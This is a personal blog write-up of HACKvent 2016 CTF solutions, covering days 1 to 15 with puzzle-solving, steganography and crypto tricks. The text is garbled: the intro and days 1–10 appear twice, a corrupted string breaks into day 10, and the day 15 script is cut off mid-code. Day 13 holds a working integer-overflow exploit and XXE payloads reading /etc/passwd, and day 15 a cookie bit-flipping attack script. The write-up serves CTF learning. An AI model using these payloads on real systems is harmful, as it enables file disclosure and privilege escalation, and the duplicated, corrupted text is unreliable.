Update 06.01.2017: Added the challenge descriptions. Thanks to khr0x40sh!
HACKvent is a CTF competition provided by Hacking-Lab.com. During advent time every day a new challenge is released. The challenges get harder every day and full points are only given if they get solved within the same day.
I solved all challenges except the last one, but not always the same day though. I had no more time and strength to solve the last one on Christmas. The CTF was a lot of fun but very stressful next to my job.
I ended on rank #23.
Day 01 – Detours:
Follow the white rabbit…
Description:
Santa receives an email with links to three pictures, but every picture is the same. He talks with some of his elves and one says, that there is some weird stuff happening when loading these pictures. Can you identify it?
http://ow.ly/I7KW3070pzr”
http://ow.ly/oyST3070pBj”
http://ow.ly/fABn3070pCs”
Solution:
If you open all links and analyse them with the built-in browser tools, you can see all are redirected to an intermediate url shortener before you get directed to the final destination:
1: http://tiny.cc/HV16-t8Kd
2: http://tiny.cc/38aY-QxL5
3: http://tiny.cc/bn4K-c6Lw
In the URL of the intermediate url-shortener we see the nugget:
HV16-t8Kd-38aY-QxL5-bn4K-c6Lw
Day 02 – Free Giveaway:
the keys are the key
Description:
Today, Santa has a free giveaway for you:
Solution:
After trying many things(like xoring, substitution cyphers, …) to decrypt the nugget, I thought it must be something related to the hint “they keys are the key”. After some time I came to the conclusion it must be something with the keyboard. I found out it was written with the Dvorak keyboard layout.
I used an online Dvorak converter and got the key.
http://wbic16.xedoloh.com/dvorak.html
HV16-SDhs-qqpf-zQLp-OQH4-2Xmg
Day 03 – Manufactory:
Do it yourself
Description:
Today’s gift is ready to be manufactured, but Santa’s afraid that his factory won’t manage to do a production run before christmas. But perhaps you can create it yourself?
Get Building Instructions
Solution:
In the header of the instruction file we can see it was generated by slic3r, which is a g-code generator for 3d printers.
I used an online gcode viewer where I could upload the file: http://gcode.ws/
In the 3D view of the tool a QR Code becomes visible, which then reveals the nugget:
HV16-oY2d-2Ki7-JBDe-VVdg-X8bW
Day 04 – Language Of Us:
Why so seriously?
Description:
You all should know this language, but this one is not that consequent as it should be.
the-text.txt
Solution:
First I created a script which translated it to normal text. But this just results in the wikipedia article about steganography. Nothing really useful there. I read the hint again, and it says the leetspeak is not very consequent… So the code must depend on if a character is written in leetspeak or not:
All leetspeak characters are a 1 and all others a 0.
I used this bash command to convert the text to the binary string:
#!/bin/bash cat the-text.txt | sed 's/3/1/g' | sed 's/4/1/g' | sed 's/9/1/g' | sed 's/7/1/g' | sed 's/|=/1/g' | sed 's/5/1/g' | sed 's/!/1/g' | sed 's/\\\/\\\//1/g' | sed 's/|\/|/1/g' | sed 's/|-|/1/g' | sed 's/(/1/g' | sed 's/|\*/1/g' | sed 's/|2/1/g' | sed 's/\`\//1/g' | sed 's/|=/1/g' | sed 's/\/v\\/1/g' | sed 's/|</1/g' | sed 's/|)/1/g' | sed "s/\\\'/1/g" | sed 's/8/1/g' | sed 's/0/1/g' | sed 's/£/1/g' | sed 's/|_|/1/g' | sed 's/></1/g' | sed 's/_|/1/g' | sed 's/[a-z]/0/g'
The output of the bash script is:
0010110100101 10 100 10110100 10 1101001011 0 1001, 0110100, 10110, 10 01011 010010 1101001 0110, 1001011, 01001, 01 10100. 101 1010 0101101001011 01001011 010 01011 01001 01101001, 0110100 “1011010, 010110100, 10 110100101”, 101 00101101 0010110 “1001011”.
010 01011 01001011 010 01 011 0100 101 10 10010110 1001011010 01 011 01001011010010, 1 10100101 10 100101101001 011 0100101101001, 011010010 11 0 1001 01 10100. 101101001, 011 010010 11010010 110100 10 11 010010110 1001: 011010, 01011010, 01011010 01011, 01 0010 11010 01011 0100. 101 1010010, 110 100101 1010010 110 10 01 011010010 110 1001011 010 0101101 00101 10 1 0010110 100101. 1010 010110100101101 00 1011010010110 1001 0110 1 001011 010010 110 10010 11 01001011 0100101 101001011, 0101001 000-010101100 01100010011011 0001011 010100 11 1100110111’0 110111101.
001 001001011 01 0101011100110 0110 011010001101 01000 10 1101 010 00010010 010100 1001000 0011 011 1001011 010110001 10 101001 10 11 101100 11 01011001. 0110101 1001010 011010101 00100001 – 11 101000 101 10100101101 – 001011 01001011, 010 010 11 0100101101 00 1011010010110 10 010110100 10110 1001011010 01 0110100. 1011, 0100101 101001011010 01 011 01001011 01 0010110100 101 10100101 10 1 0010110 10010, 1101001011010 01 011010010 1101 0010110100 101 1010 0101 1 010010 1101001 01 10100 1011, 01 0010 11 0100101101 001 01101001 01 101 0010110.
1001011010010 11010010 110 10010110100 10 11010010110 100101 10100101 10100. 10 1101001 0110100101101, 0010110100 10110100101101 001 0110100 10110100101101 001011 010010 11 0 100101101 00101, 1010 01 0 11010010 1101, 00101 1010, 0101101 00 10110100. 10110 10010 110 10010 110 10010110100101 101001011010 0101101 00 10110 10010 1101. 001 0110100, 1 011010 01011 01001 0110 10 010110100 10110 1001 011 010010 110 10010 11 01001 011010010 11010 01 0110100101 10 1 001011 01 001 01101001, 0 110100 10 110100 1011 0100101 101 001011010010 1101001 011 01 00 10110100 10 110100 10.
http://www.unit-conversion.info/texttools/convert-text-to-binary/#data
HV16-O7oI-W34j-BJH7-cSvk-e5Hz
Day 05 – Boolean Fun:
Every Bit Is Important
Description:
Santa found a paper with some strange logical stuff on it. On the back of it there is the hint: “use 32 bit”.
He has no clue what this means – can you show him, what “???” should be?
Solution:
I took the simple path with python 😉
#!/usr/bin/python print (~((4 | 7) ^ (1337 & 424242))) | 0xB055
The result is -291, submitting this to the website returns a QR code with the nugget:
HV16-2wGq-wOX3-T2oe-n8si-hZ0A
Day 06 – Back 2 Work:
Greetings from Thumper
Description:
Greetings from Thumper, he has an order for you:
1. unzip: the password is confidential
2. find the flag
3. look at my holiday pictures
Comment: Be aware, the pictures are only supplement.
holiday.zip
Solution:
Unfortunately the comment, about the pictures being only supplement, was not there from the beginning. I wasted a lot of time trying to find hidden things in the pictures instead of the zip file! 🙁
After the comment was uploaded, it was clear it’s something with the zipfile itself. Looking closer at it with hexdump, shows a suspicious pattern. In the end, where all the filenames in the archive are listed, there are is a pattern with 0x09 and 0x20 between the file names.
…
013394d0 6d 61 67 65 5f 30 30 30 34 2e 6a 70 67 20 20 20 |mage_0004.jpg |
013394e0 20 20 20 20 09 09 09 09 09 20 09 20 09 09 09 20 | ….. . … |
013394f0 20 20 20 20 20 20 00 50 4b 01 02 14 00 14 00 01 | .PK…….|
01339500 08 08 00 c6 b3 27 49 c3 e9 b1 34 c4 e6 09 00 41 |…..’I…4….A|
01339510 e8 09 00 0e 00 00 00 1a 00 00 00 00 00 00 00 00 |…………….|
01339520 00 1b 89 0c 00 69 6d 61 67 65 5f 30 30 30 35 2e |…..image_0005.|
01339530 6a 70 67 20 09 09 09 09 09 20 09 20 09 20 09 20
…
If we extract all the 0x09 and 0x20, convert 0x20 to 1 and 0x09 to 0 we get 25 lines of 25 bits. I wrote these 25 binary strings to a textfile and opened it with a text editor. It looks like a QR code! I replaced all the 1 with ‘#’ and the 0 with a whitespace and I got this:
But this is not yet readable by my QR code scanner. I then replaced all the hashtags with Unicode Character ‘FULL BLOCK’ (U+2588):
Still not readable.. After taking a screenshot and resizing the image with Gimp I could finally read it with my QR scanner.
HV16-y9YO-sDo1-Vi7O-RWq1-V7hN
Day 07 – TrivialKRYPTO 1.42:
You think you need the password?
Description:
Today’s present is encrypted. Luckily Santa did not use Kryptochef’s KRYPTO 2.0 so there might be a slight chance of recovering it?
Get me there …
Solution:
First step is analysing the source code of the webpage. There you can see that all the crypto is done in javascript, on the client side. So we know exactly what’s going on, but we first need to understand it. The most relevant parts of the source are:
s3cr3t=[2155568001,3847164610,2684356740,2908571526,2557362074,2853440707,3849194977,3171764887]; ... var s=""; for(var i=0;i<s3cr3t.length;i++) { var pp=""; for(var p = (s3cr3t[i] ^ crc32(pass)); p>0; p>>=8) { pp = String.fromCharCode(p&0xFF)+pp; } s+=pp; } ...
What means the CRC32 of the entered password is xored with the values in s3cr3t, always 8 bits at the time (see the shifting). The 8 bits are then converted to a character and added to the string s, which in the end reveals the nugget. CRC32 is 32bits, therefore we have 4 runs in the loop until p>0 (p>>=8). This means the s3cr3t[0] loop returns 4 characters which have to be “HV16”!
-> s3cr3t[0] ^ crc32(pass) = “HV16”
-> crc32(pass) = s3cr3t[0] ^ “HV16”
-> crc32(pass) = 2155568001 ^ 0x48563136 //take value & HV16 to hex
http://xor.pw
-> crc32(pass) = c82d6ab7
How can we reverse the CRC32?!
http://www.danielvik.com/2010/10/calculating-reverse-crc.html
I downloaded the code in the end and adapt it to our string:
vim ReverseCRC.cpp int main(void) { testOne(0x0, 0xc82d6ab7); testOneAscii(0x0, 0xc82d6ab7); return 0; }
initial: 0x00000000 OK – bytes to add: { 0x84, 0xa3, 0x93, 0x8e }
initial: 0x00000000 OK – string to add: 3tnaIl
Enter ‘3tnaIl’ as password on the website which returns the nugget:
HV16-bxuh-b3ep-1PCU-b9ft-CgVu
Day 08 – Lost In Encoding:
Multiple encodings = good encryption?
Description:
Santa and his elves do not know good encryption, all they have heard about are some basic encodings. Unfortunately they all are bungling and forgotten the recipe.
It’s now on you, who has to get it up.
l0st_1n_7ranslation.fun
Solution:
Really helpful link!
http://www.garykessler.net/library/file_sigs.html
1. yenc decode the full file
http://www.webutils.pl/index.php?idx=yenc
2. base64 decode
3. ASCII85 decode. I had a problems identifying this encoding. It starts with “<~” and ends with “~>”, so it was pretty obvious what to google for. Unfortunately you cannot google this 🙂 The garykessler.net link really helped a lot here!
After the ASCII85 decoding this text is revealed:
Computer science education cannot make anybody an expert programmer any more than studying brushes and pigment can make somebody an expert painter. – Eric S. Raymond
HV16-l0st-1n7r-4nsl-4710-n00b
Day 09 – Illegal Prime Number:
Huh – what the f***?
Description:
I’ve heard something about illegal prime numbers… Maybe this number contains the flag:
4315891123054519227800425234439024406406805990983946954154956695012431283551657417585179574642755601169096280017484467053951914982126613234225200384245049037787654523558017678649278076716108200271927575791497929092184238813619846729315518237924881623603111094979071286017407153529043066655388316378457694291590703681341752561492723137474482263373673210248633961843479034160811982934510083276506238457901538373531195688165166964398815874378480986164601388393975141268984935852959700100872597068350527482364309
Solution:
Illegal prime numbers are numbers which hide something illegal in it, apparently this makes the full number illegal :). Most famous example is the illegal prime number which when converted to binary is a zip archive containing the source code to a program which can decrypt DVD movies.
I used the extraction script of this website:
http://primes.utm.edu/curios/page.php?number_id=953
I modified the extraction script to work with the given number. The extracted data is a password protected zip file. With john the ripper and a dictionary I was able to bruteforce the password “qwerty” in no time.
HV16-0228-d75b-40cd-8a0e-1f3e
Day 10 – I want to play a Game:
Part One
Description:
Reversing Day 1: we’ll start with an easy one.
Solution:
I was a bit lucky here, didn’t really need to reverse the code:
1. While analysing the binary with hexdump I found this string in the binary, which looks like our nugget somehow encrypted:
KR40*^d?r!CdhX<w
Update 06.01.2017: Added the challenge descriptions. Thanks to khr0x40sh!
HACKvent is a CTF competition provided by Hacking-Lab.com. During advent time every day a new challenge is released. The challenges get harder every day and full points are only given if they get solved within the same day.
I solved all challenges except the last one, but not always the same day though. I had no more time and strength to solve the last one on Christmas. The CTF was a lot of fun but very stressful next to my job.
I ended on rank #23.
Day 01 – Detours:
Follow the white rabbit…
Description:
Santa receives an email with links to three pictures, but every picture is the same. He talks with some of his elves and one says, that there is some weird stuff happening when loading these pictures. Can you identify it?
http://ow.ly/I7KW3070pzr”
http://ow.ly/oyST3070pBj”
http://ow.ly/fABn3070pCs”
Solution:
If you open all links and analyse them with the built-in browser tools, you can see all are redirected to an intermediate url shortener before you get directed to the final destination:
1: http://tiny.cc/HV16-t8Kd
2: http://tiny.cc/38aY-QxL5
3: http://tiny.cc/bn4K-c6Lw
In the URL of the intermediate url-shortener we see the nugget:
HV16-t8Kd-38aY-QxL5-bn4K-c6Lw
Day 02 – Free Giveaway:
the keys are the key
Description:
Today, Santa has a free giveaway for you:
Solution:
After trying many things(like xoring, substitution cyphers, …) to decrypt the nugget, I thought it must be something related to the hint “they keys are the key”. After some time I came to the conclusion it must be something with the keyboard. I found out it was written with the Dvorak keyboard layout.
I used an online Dvorak converter and got the key.
http://wbic16.xedoloh.com/dvorak.html
HV16-SDhs-qqpf-zQLp-OQH4-2Xmg
Day 03 – Manufactory:
Do it yourself
Description:
Today’s gift is ready to be manufactured, but Santa’s afraid that his factory won’t manage to do a production run before christmas. But perhaps you can create it yourself?
Get Building Instructions
Solution:
In the header of the instruction file we can see it was generated by slic3r, which is a g-code generator for 3d printers.
I used an online gcode viewer where I could upload the file: http://gcode.ws/
In the 3D view of the tool a QR Code becomes visible, which then reveals the nugget:
HV16-oY2d-2Ki7-JBDe-VVdg-X8bW
Day 04 – Language Of Us:
Why so seriously?
Description:
You all should know this language, but this one is not that consequent as it should be.
the-text.txt
Solution:
First I created a script which translated it to normal text. But this just results in the wikipedia article about steganography. Nothing really useful there. I read the hint again, and it says the leetspeak is not very consequent… So the code must depend on if a character is written in leetspeak or not:
All leetspeak characters are a 1 and all others a 0.
I used this bash command to convert the text to the binary string:
#!/bin/bash cat the-text.txt | sed 's/3/1/g' | sed 's/4/1/g' | sed 's/9/1/g' | sed 's/7/1/g' | sed 's/|=/1/g' | sed 's/5/1/g' | sed 's/!/1/g' | sed 's/\\\/\\\//1/g' | sed 's/|\/|/1/g' | sed 's/|-|/1/g' | sed 's/(/1/g' | sed 's/|\*/1/g' | sed 's/|2/1/g' | sed 's/\`\//1/g' | sed 's/|=/1/g' | sed 's/\/v\\/1/g' | sed 's/|</1/g' | sed 's/|)/1/g' | sed "s/\\\'/1/g" | sed 's/8/1/g' | sed 's/0/1/g' | sed 's/£/1/g' | sed 's/|_|/1/g' | sed 's/></1/g' | sed 's/_|/1/g' | sed 's/[a-z]/0/g'
The output of the bash script is:
0010110100101 10 100 10110100 10 1101001011 0 1001, 0110100, 10110, 10 01011 010010 1101001 0110, 1001011, 01001, 01 10100. 101 1010 0101101001011 01001011 010 01011 01001 01101001, 0110100 “1011010, 010110100, 10 110100101”, 101 00101101 0010110 “1001011”.
010 01011 01001011 010 01 011 0100 101 10 10010110 1001011010 01 011 01001011010010, 1 10100101 10 100101101001 011 0100101101001, 011010010 11 0 1001 01 10100. 101101001, 011 010010 11010010 110100 10 11 010010110 1001: 011010, 01011010, 01011010 01011, 01 0010 11010 01011 0100. 101 1010010, 110 100101 1010010 110 10 01 011010010 110 1001011 010 0101101 00101 10 1 0010110 100101. 1010 010110100101101 00 1011010010110 1001 0110 1 001011 010010 110 10010 11 01001011 0100101 101001011, 0101001 000-010101100 01100010011011 0001011 010100 11 1100110111’0 110111101.
001 001001011 01 0101011100110 0110 011010001101 01000 10 1101 010 00010010 010100 1001000 0011 011 1001011 010110001 10 101001 10 11 101100 11 01011001. 0110101 1001010 011010101 00100001 – 11 101000 101 10100101101 – 001011 01001011, 010 010 11 0100101101 00 1011010010110 10 010110100 10110 1001011010 01 0110100. 1011, 0100101 101001011010 01 011 01001011 01 0010110100 101 10100101 10 1 0010110 10010, 1101001011010 01 011010010 1101 0010110100 101 1010 0101 1 010010 1101001 01 10100 1011, 01 0010 11 0100101101 001 01101001 01 101 0010110.
1001011010010 11010010 110 10010110100 10 11010010110 100101 10100101 10100. 10 1101001 0110100101101, 0010110100 10110100101101 001 0110100 10110100101101 001011 010010 11 0 100101101 00101, 1010 01 0 11010010 1101, 00101 1010, 0101101 00 10110100. 10110 10010 110 10010 110 10010110100101 101001011010 0101101 00 10110 10010 1101. 001 0110100, 1 011010 01011 01001 0110 10 010110100 10110 1001 011 010010 110 10010 11 01001 011010010 11010 01 0110100101 10 1 001011 01 001 01101001, 0 110100 10 110100 1011 0100101 101 001011010010 1101001 011 01 00 10110100 10 110100 10.
http://www.unit-conversion.info/texttools/convert-text-to-binary/#data
HV16-O7oI-W34j-BJH7-cSvk-e5Hz
Day 05 – Boolean Fun:
Every Bit Is Important
Description:
Santa found a paper with some strange logical stuff on it. On the back of it there is the hint: “use 32 bit”.
He has no clue what this means – can you show him, what “???” should be?
Solution:
I took the simple path with python 😉
#!/usr/bin/python print (~((4 | 7) ^ (1337 & 424242))) | 0xB055
The result is -291, submitting this to the website returns a QR code with the nugget:
HV16-2wGq-wOX3-T2oe-n8si-hZ0A
Day 06 – Back 2 Work:
Greetings from Thumper
Description:
Greetings from Thumper, he has an order for you:
1. unzip: the password is confidential
2. find the flag
3. look at my holiday pictures
Comment: Be aware, the pictures are only supplement.
holiday.zip
Solution:
Unfortunately the comment, about the pictures being only supplement, was not there from the beginning. I wasted a lot of time trying to find hidden things in the pictures instead of the zip file! 🙁
After the comment was uploaded, it was clear it’s something with the zipfile itself. Looking closer at it with hexdump, shows a suspicious pattern. In the end, where all the filenames in the archive are listed, there are is a pattern with 0x09 and 0x20 between the file names.
…
013394d0 6d 61 67 65 5f 30 30 30 34 2e 6a 70 67 20 20 20 |mage_0004.jpg |
013394e0 20 20 20 20 09 09 09 09 09 20 09 20 09 09 09 20 | ….. . … |
013394f0 20 20 20 20 20 20 00 50 4b 01 02 14 00 14 00 01 | .PK…….|
01339500 08 08 00 c6 b3 27 49 c3 e9 b1 34 c4 e6 09 00 41 |…..’I…4….A|
01339510 e8 09 00 0e 00 00 00 1a 00 00 00 00 00 00 00 00 |…………….|
01339520 00 1b 89 0c 00 69 6d 61 67 65 5f 30 30 30 35 2e |…..image_0005.|
01339530 6a 70 67 20 09 09 09 09 09 20 09 20 09 20 09 20
…
If we extract all the 0x09 and 0x20, convert 0x20 to 1 and 0x09 to 0 we get 25 lines of 25 bits. I wrote these 25 binary strings to a textfile and opened it with a text editor. It looks like a QR code! I replaced all the 1 with ‘#’ and the 0 with a whitespace and I got this:
But this is not yet readable by my QR code scanner. I then replaced all the hashtags with Unicode Character ‘FULL BLOCK’ (U+2588):
Still not readable.. After taking a screenshot and resizing the image with Gimp I could finally read it with my QR scanner.
HV16-y9YO-sDo1-Vi7O-RWq1-V7hN
Day 07 – TrivialKRYPTO 1.42:
You think you need the password?
Description:
Today’s present is encrypted. Luckily Santa did not use Kryptochef’s KRYPTO 2.0 so there might be a slight chance of recovering it?
Get me there …
Solution:
First step is analysing the source code of the webpage. There you can see that all the crypto is done in javascript, on the client side. So we know exactly what’s going on, but we first need to understand it. The most relevant parts of the source are:
s3cr3t=[2155568001,3847164610,2684356740,2908571526,2557362074,2853440707,3849194977,3171764887]; ... var s=""; for(var i=0;i<s3cr3t.length;i++) { var pp=""; for(var p = (s3cr3t[i] ^ crc32(pass)); p>0; p>>=8) { pp = String.fromCharCode(p&0xFF)+pp; } s+=pp; } ...
What means the CRC32 of the entered password is xored with the values in s3cr3t, always 8 bits at the time (see the shifting). The 8 bits are then converted to a character and added to the string s, which in the end reveals the nugget. CRC32 is 32bits, therefore we have 4 runs in the loop until p>0 (p>>=8). This means the s3cr3t[0] loop returns 4 characters which have to be “HV16”!
-> s3cr3t[0] ^ crc32(pass) = “HV16”
-> crc32(pass) = s3cr3t[0] ^ “HV16”
-> crc32(pass) = 2155568001 ^ 0x48563136 //take value & HV16 to hex
http://xor.pw
-> crc32(pass) = c82d6ab7
How can we reverse the CRC32?!
http://www.danielvik.com/2010/10/calculating-reverse-crc.html
I downloaded the code in the end and adapt it to our string:
vim ReverseCRC.cpp int main(void) { testOne(0x0, 0xc82d6ab7); testOneAscii(0x0, 0xc82d6ab7); return 0; }
initial: 0x00000000 OK – bytes to add: { 0x84, 0xa3, 0x93, 0x8e }
initial: 0x00000000 OK – string to add: 3tnaIl
Enter ‘3tnaIl’ as password on the website which returns the nugget:
HV16-bxuh-b3ep-1PCU-b9ft-CgVu
Day 08 – Lost In Encoding:
Multiple encodings = good encryption?
Description:
Santa and his elves do not know good encryption, all they have heard about are some basic encodings. Unfortunately they all are bungling and forgotten the recipe.
It’s now on you, who has to get it up.
l0st_1n_7ranslation.fun
Solution:
Really helpful link!
http://www.garykessler.net/library/file_sigs.html
1. yenc decode the full file
http://www.webutils.pl/index.php?idx=yenc
2. base64 decode
3. ASCII85 decode. I had a problems identifying this encoding. It starts with “<~” and ends with “~>”, so it was pretty obvious what to google for. Unfortunately you cannot google this 🙂 The garykessler.net link really helped a lot here!
After the ASCII85 decoding this text is revealed:
Computer science education cannot make anybody an expert programmer any more than studying brushes and pigment can make somebody an expert painter. – Eric S. Raymond
HV16-l0st-1n7r-4nsl-4710-n00b
Day 09 – Illegal Prime Number:
Huh – what the f***?
Description:
I’ve heard something about illegal prime numbers… Maybe this number contains the flag:
4315891123054519227800425234439024406406805990983946954154956695012431283551657417585179574642755601169096280017484467053951914982126613234225200384245049037787654523558017678649278076716108200271927575791497929092184238813619846729315518237924881623603111094979071286017407153529043066655388316378457694291590703681341752561492723137474482263373673210248633961843479034160811982934510083276506238457901538373531195688165166964398815874378480986164601388393975141268984935852959700100872597068350527482364309
Solution:
Illegal prime numbers are numbers which hide something illegal in it, apparently this makes the full number illegal :). Most famous example is the illegal prime number which when converted to binary is a zip archive containing the source code to a program which can decrypt DVD movies.
I used the extraction script of this website:
http://primes.utm.edu/curios/page.php?number_id=953
I modified the extraction script to work with the given number. The extracted data is a password protected zip file. With john the ripper and a dictionary I was able to bruteforce the password “qwerty” in no time.
HV16-0228-d75b-40cd-8a0e-1f3e
Day 10 – I want to play a Game:
Part One
Description:
Reversing Day 1: we’ll start with an easy one.
Solution:
I was a bit lucky here, didn’t really need to reverse the code:
1. While analysing the binary with hexdump I found this string in the binary, which looks like our nugget somehow encrypted:
B;T{6*,TW
2. We know the nugget always starts with “HV16-“”
3. XOR “HV16” with “KR40*” results in “304050607”. Suspicious, isn’t it?
4. If we continue the hex stream until the end:
30405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f
5. XOR the hex stream with the encrypted nugget:
HV16-Vm5y-NjgH-e7tW-PgMa-61JH
Day 11 – A-maze-ing GIFt:
Go find the codes!
Description:
Will you manage to recover today’s code from this strange picture?
It looks like a maze of some kind, and somewhere deep inside there might be more than what you’d expect at the first glance…
Solution:
Obviously this is a QR code, but not yet readable in this format.
1. Enhance:
convert qr_code_error.jpg -morphology open square:1 -threshold 98% result.png
2. Did some magic with Gimp
HV16-otli-KbAg-MDVb-TMTO-WTDI
Hidden Nugget:
According to the description it is clear that more than just one code is hidden here. Then they also submitted the hint “In doubt, let the last two parts of your first find lead you deeper into the maze.” to the website. The last two parts of your first find would be TMTO-WTDI, if you google this you find the perl motto “There’s more than one way to do it”.
I tried many different things here until I came to the right solution. It was clear it’s something with Perl but I couldn’t get it at first.
It’s possible to run the MandM.gif as perl:
./perl MandM.gif
Which asks for a PIN.
I wrote a small shell script to bruteforce the key:
#!/bin/bash echo "">log.txt for i in {0..999999} do perl MandM.gif <<EOF >> log.txt $i EOF echo "[+] $i" >> log.txt done
The PIN 160417 finally worked:
> xmar ain’t easter 😉
HV16-FWtf-Sh9O-cApF-Q9HQ-qMrp
Day 12 – Crypt-o-Math:
Crypto? Math? Maybe both?
Description:
you remember math classes at school?
hopefully you payed attention – and even if not, there are other ways to solve this challenge.
Easiest way to solve this is to bruteforce it:
#!/bin/python with open("math.txt", "r") as f: array = [] for line in f: array.append(line) result="" for x in array: if not x[0].isdigit(): continue numbs = x.split(",") i = 32 while (i<128): a=i*0x1337*int(numbs[1])%int(numbs[2]) if(a==int(numbs[0])): print("Found: " + str(i) + " - " + chr(i)) result = result+chr(i) i=i+1 print("Solution: " + result)
Nugget:
HV16-laWz-D5yT-0Uzb-DFj0-FIsL
Day 13 – JCoinz:
Sometimes less is more
Description:
The manager of jcoinz told a developer to implement a transaction tax as fast as possible so he can earn more money. Maybe that was a wrong decision…
nc challenges.hackvent.hacking-lab.com 3117
jcoinz.jar
Solution:
This was a really nice challenge! While first analysing the code I thought well, this looks very well implemented. But having a closer look revealed 2 problems. 🙂
1. Generate an integer overflow to earn more money:
– The user input is read with Scanner.nextInt() and only allows integers, so no overflow here
– integer range is between -2,147,483,648 and 2,147,483,647
– When you send a negative number it first is accepted by the Scanner.nextInt() method but later gets inverted to positive, there is our integer overflow! If we enter the smallest integer number and it gets inverted to positive it is 1 above the upper boundary! Here are the relevant lines of code:
public boolean payCoins(int amount) { int decreasedCoins; if (this.getCoins() <= 0) { IO.printStatus("-", "No more jcoinz!\n\n"); return false; } if (amount < 0) { amount *= -1; } if ((decreasedCoins = this.getCoins() - amount - Shop.transactionTax) < 0) { IO.printStatus("-", "You cannot generate debts!\n\n"); return false; } this.setCoins(decreasedCoins); IO.printStatus("-", "Decreased the account of \"" + this.getName() + "\" by " + String.valueOf(amount) + "\n"); return true; }
Exploit:
– Send all but 1 coin to charity
– send -2,147,483,648 which generates the overflow
–> 1 – 2,147,483,648 -2(tax) == Overflow
2. XML Entity attack
<?xml version=”1.0″ encoding=”ISO-8859-1″?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM “file:///etc/passwd” >]><foo>&xxe;</foo>
<?xml version=”1.0″ encoding=”ISO-8859-1″?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM “file:///home/jcoinz/” >]><foo>&xxe;</foo>
<?xml version=”1.0″ encoding=”ISO-8859-1″?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM “file:///home/jcoinz/9f40461baba9bf00ba9174beeeb9b8a80c0ffba6” >]><foo>&xxe;</foo>
$ nc challenges.hackvent.hacking-lab.com 3117 $$$$$$$$$ $ JCOINZ SERVICE $ $$$$$$$$$ 1 - sends jcoinz to charity 2 - send a secret xml message to the admin Your name: billy Your amount of jcoinz: 1336 [?] Action: 1 [?] Amount of jcoinz to send: 1333 [-] Decreased the account of "billy" by 1333 [+] Thank you very much! 1 - sends jcoinz to charity 2 - send a secret xml message to the admin Your name: billy Your amount of jcoinz: 1 [?] Action: 1 [?] Amount of jcoinz to send: -2147483648 [-] Decreased the account of "billy" by -2147483648 [+] Thank you very much! 1 - sends jcoinz to charity 2 - send a secret xml message to the admin Your name: billy Your amount of jcoinz: 2147483647 [?] Action: 2 [-] Decreased the account of "billy" by 1337 [?] XML Message: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///home/jcoinz/9f40461baba9bf00ba9174beeeb9b8a80c0ffba6" >]><foo>&xxe;</foo> [+] Your secret xml message: <foo> You did it! Greets, MuffinX HV16-y4h0-g00t-d33m-c01n-zzzz If you liked this challenge, tweet me: https://twitter.com/muffiniks </foo> 1 - sends jcoinz to charity 2 - send a secret xml message to the admin Your name: billy Your amount of jcoinz: 2147482308 [?] Action:
HV16-y4h0-g00t-d33m-c01n-zzzz
Day 14 – Radio War Game:
The quieter you become, the more you are able to hear
Description:
A UK football fan transmits chants and hopes the gods of football pick it up and consider his favorite, Manchester, to win the cup.
Santa, while using his ham radio station to receive wish-lists from earth, picked it up and saved a copy for his data lake. Can you help Santa to make sense of the signals?
Get the signals
Solution:
I opened the file in Audacity (File/Import/Raw Data) which showed a really suspicious pattern. Looks like a binary code.
Because of the description I assumed the message was encoded by Manchester-Encoding. I researched how this works exactly and it was not too hard to understand. But I had no idea how I would implement this in a script…
As the binary string didn’t look too long I did manual work and wrote down the pattern to a text file:
01001000 01010110 00110001 00110110 00101101 00110001 00110011 00110011 00110111 00101101 01010010 01100001 01100100 01101001 00101101 01101111 01010111 01100001 01110010 00101101 01100111 01100001 01101101 01100101 00101101 00110001 00110011 00110011 00110111 00001010
Converting the binary string to ASCII text resulted in the nugget:
HV16-1337-Radi-oWar-game-1337
Day 15 – SAP – Santas Admin Panel:
you better know how to flip around
Description:
You got access to Santa’s hompage. But without admin rights there’s nothing to see here…
A valid login is: raindeer10 / s4nt4
Admin Panel
Solution:
In the description there is the hint to “flip around”. This must be a bit flipping attack!
If we analyse the website and look what is being transferred, we find the cookie “cmlnaHRz” which translates to “rights” if we decode it with base64. This must be our target. I wrote a script to perform the bit-flipping attack and grep the result from the page to see if we were successful. The bit-flipping attack is performed by switching bits which are next to each other, if we’re not successful try the next ones… Read the script for more details:
#!/usr/bin/env python2 import cookielib import urllib import urllib2 import base64 USERNAME = "raindeer10" PASSWORD = "s4nt4" URL="http://challenges.hackvent.hacking-lab.com/4dm1nP4n3l/index.php" URL_ADMIN="http://challenges.hackvent.hacking-lab.com/4dm1nP4n3l/admin.php" COOKIE_NAME="cmlnaHRz" COOKIE_VALUE="5WT4yVGAfS%2Fn0z5MzSbbZd0K3vpWLmhfxuFo85apE%2Bo%3D" login_data = urllib.urlencode({'username' : USERNAME, 'password' : PASSWORD}) cookies = cookielib.LWPCookieJar() handlers = [ urllib2.HTTPHandler(debuglevel=0), urllib2.HTTPSHandler(), urllib2.HTTPCookieProcessor(cookies) ] opener = urllib2.build_opener(*handlers) def fetch(url, phpsession, cookie): req = urllib2.Request(url) if phpsession: # Set cookies cookies.clear() ck = cookielib.Cookie(version=0, name='PHPSESSID', value=phpsession, port=None, port_specified=False, domain='challenges.hackvent.hacking-lab.com' , domain_specified=False, domain_initial_dot=False, path='/', path_specified=True, secure=False, expires=None , discard=True, comment=None, comment_url=None, rest={'HttpOnly': None}, rfc2109=False) cookies.set_cookie(ck) ck2 = cookielib.Cookie(version=0, name=COOKIE_NAME, value=urllib.quote(cookie, 'utf8'), port=None, port_specified=False, domain='challenges.hackvent.hacking-lab.com' , domain_specified=False, domain_initial_dot=False, path='/', path_specified=True, secure=False, expires=None , discard=True, comment=None, comment_url=None, rest={'HttpOnly': None}, rfc2109=False) cookies.set_cookie(ck2) #opener.addheaders.append(('Cookie', "PHPSESSID" + "=" + phpsession + ";" + urllib.quote(COOKIE_NAME, 'utf8') + "=" + urllib.quote(cookie, 'utf8'))) return opener.open(req, login_data) def dump_page(resp): return(resp.read()) def dump_cookies(): data = dict((cookie.name, cookie.value) for cookie in cookies) for cookie in cookies: print(urllib.unquote(cookie.name).decode('utf8')) print(urllib.unquote(cookie.value).decode('utf8')) return data['PHPSESSID'] 